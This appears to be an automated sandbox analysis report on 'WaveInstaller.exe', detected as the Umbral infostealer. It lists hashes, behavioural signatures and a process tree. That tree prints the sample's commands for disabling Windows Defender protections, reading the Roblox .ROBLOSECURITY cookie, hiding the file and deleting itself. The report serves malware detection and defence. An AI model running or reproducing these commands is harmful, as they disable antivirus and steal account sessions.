Analysis
-
max time kernel
6s -
max time network
4s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
03-07-2024 11:22
Behavioral task
behavioral1
Sample
WaveInstaller.exe
Resource
win7-20240611-en
General
-
Target
WaveInstaller.exe
-
Size
229KB
-
MD5
7ca49c1e4deac51030961240dc071e44
-
SHA1
dbe976f4e1ca8476cf35105e214e98c071bdb601
-
SHA256
c4969a3f443dc0c21066c9b801a86d8802585ed708f209cd418d0252541884bd
-
SHA512
cb70825c4cebc592cfe281214f3a614a5a0eac78dac3cc0a5da7116b9d2eb5af718745067c0c7be3b2957c3ddade18416171863490d40c0bec8162e0322303ae
-
SSDEEP
6144:FloZMZrIkd8g+EtXHkv/iD4SpQvDJ6id1IJbGmTuOb8e1mBi:HoZ6L+EP8SpQvDJ6id1IJbGmT5D
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2768-1-0x0000000000800000-0x0000000000840000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Drops file in Drivers directory 1 IoCs
Processes:
WaveInstaller.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts WaveInstaller.exe -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2220 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 4 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
WaveInstaller.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2768 WaveInstaller.exe 2800 powershell.exe 2484 powershell.exe 468 powershell.exe 2968 powershell.exe 780 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
WaveInstaller.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 2768 WaveInstaller.exe Token: SeIncreaseQuotaPrivilege 2688 wmic.exe Token: SeSecurityPrivilege 2688 wmic.exe Token: SeTakeOwnershipPrivilege 2688 wmic.exe Token: SeLoadDriverPrivilege 2688 wmic.exe Token: SeSystemProfilePrivilege 2688 wmic.exe Token: SeSystemtimePrivilege 2688 wmic.exe Token: SeProfSingleProcessPrivilege 2688 wmic.exe Token: SeIncBasePriorityPrivilege 2688 wmic.exe Token: SeCreatePagefilePrivilege 2688 wmic.exe Token: SeBackupPrivilege 2688 wmic.exe Token: SeRestorePrivilege 2688 wmic.exe Token: SeShutdownPrivilege 2688 wmic.exe Token: SeDebugPrivilege 2688 wmic.exe Token: SeSystemEnvironmentPrivilege 2688 wmic.exe Token: SeRemoteShutdownPrivilege 2688 wmic.exe Token: SeUndockPrivilege 2688 wmic.exe Token: SeManageVolumePrivilege 2688 wmic.exe Token: 33 2688 wmic.exe Token: 34 2688 wmic.exe Token: 35 2688 wmic.exe Token: SeIncreaseQuotaPrivilege 2688 wmic.exe Token: SeSecurityPrivilege 2688 wmic.exe Token: SeTakeOwnershipPrivilege 2688 wmic.exe Token: SeLoadDriverPrivilege 2688 wmic.exe Token: SeSystemProfilePrivilege 2688 wmic.exe Token: SeSystemtimePrivilege 2688 wmic.exe Token: SeProfSingleProcessPrivilege 2688 wmic.exe Token: SeIncBasePriorityPrivilege 2688 wmic.exe Token: SeCreatePagefilePrivilege 2688 wmic.exe Token: SeBackupPrivilege 2688 wmic.exe Token: SeRestorePrivilege 2688 wmic.exe Token: SeShutdownPrivilege 2688 wmic.exe Token: SeDebugPrivilege 2688 wmic.exe Token: SeSystemEnvironmentPrivilege 2688 wmic.exe Token: SeRemoteShutdownPrivilege 2688 wmic.exe Token: SeUndockPrivilege 2688 wmic.exe Token: SeManageVolumePrivilege 2688 wmic.exe Token: 33 2688 wmic.exe Token: 34 2688 wmic.exe Token: 35 2688 wmic.exe Token: SeDebugPrivilege 2800 powershell.exe Token: SeDebugPrivilege 2484 powershell.exe Token: SeDebugPrivilege 468 powershell.exe Token: SeDebugPrivilege 2968 powershell.exe Token: SeIncreaseQuotaPrivilege 1512 wmic.exe Token: SeSecurityPrivilege 1512 wmic.exe Token: SeTakeOwnershipPrivilege 1512 wmic.exe Token: SeLoadDriverPrivilege 1512 wmic.exe Token: SeSystemProfilePrivilege 1512 wmic.exe Token: SeSystemtimePrivilege 1512 wmic.exe Token: SeProfSingleProcessPrivilege 1512 wmic.exe Token: SeIncBasePriorityPrivilege 1512 wmic.exe Token: SeCreatePagefilePrivilege 1512 wmic.exe Token: SeBackupPrivilege 1512 wmic.exe Token: SeRestorePrivilege 1512 wmic.exe Token: SeShutdownPrivilege 1512 wmic.exe Token: SeDebugPrivilege 1512 wmic.exe Token: SeSystemEnvironmentPrivilege 1512 wmic.exe Token: SeRemoteShutdownPrivilege 1512 wmic.exe Token: SeUndockPrivilege 1512 wmic.exe Token: SeManageVolumePrivilege 1512 wmic.exe Token: 33 1512 wmic.exe Token: 34 1512 wmic.exe -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
WaveInstaller.execmd.exedescription pid process target process PID 2768 wrote to memory of 2688 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 2688 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 2688 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 2648 2768 WaveInstaller.exe attrib.exe PID 2768 wrote to memory of 2648 2768 WaveInstaller.exe attrib.exe PID 2768 wrote to memory of 2648 2768 WaveInstaller.exe attrib.exe PID 2768 wrote to memory of 2800 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 2800 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 2800 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 2484 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 2484 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 2484 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 468 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 468 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 468 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 2968 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 2968 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 2968 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 1512 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 1512 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 1512 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 1680 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 1680 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 1680 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 1268 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 1268 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 1268 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 780 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 780 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 780 2768 WaveInstaller.exe powershell.exe PID 2768 wrote to memory of 1256 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 1256 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 1256 2768 WaveInstaller.exe wmic.exe PID 2768 wrote to memory of 2220 2768 WaveInstaller.exe cmd.exe PID 2768 wrote to memory of 2220 2768 WaveInstaller.exe cmd.exe PID 2768 wrote to memory of 2220 2768 WaveInstaller.exe cmd.exe PID 2220 wrote to memory of 2268 2220 cmd.exe PING.EXE PID 2220 wrote to memory of 2268 2220 cmd.exe PING.EXE PID 2220 wrote to memory of 2268 2220 cmd.exe PING.EXE -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe"C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe"2⤵
- Views/modifies file attributes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
-
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe" && pause2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5f5c89ae426ee5c4d5dbe032a708f6014
SHA14c4e169947b405d0f05ac1dc1d9098fe457f0284
SHA2568bf9e7d0f85697f2f94b6b99305cc20fa09a416fe66490ba28771250e552cf28
SHA512a9eb13c9b239e595d48b8206decef4447dec77753f356400dbcb1ba6b1ac22971a0629f02d8e5208d8de4429161611e7654daa3975c8243d477929bed418bc73
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/780-44-0x0000000002390000-0x0000000002398000-memory.dmpFilesize
32KB
-
memory/2484-14-0x000000001B670000-0x000000001B952000-memory.dmpFilesize
2.9MB
-
memory/2484-15-0x00000000020C0000-0x00000000020C8000-memory.dmpFilesize
32KB
-
memory/2768-0-0x000007FEF5D13000-0x000007FEF5D14000-memory.dmpFilesize
4KB
-
memory/2768-1-0x0000000000800000-0x0000000000840000-memory.dmpFilesize
256KB
-
memory/2768-2-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmpFilesize
9.9MB
-
memory/2768-48-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmpFilesize
9.9MB
-
memory/2800-7-0x000000001B700000-0x000000001B9E2000-memory.dmpFilesize
2.9MB
-
memory/2800-8-0x0000000001DE0000-0x0000000001DE8000-memory.dmpFilesize
32KB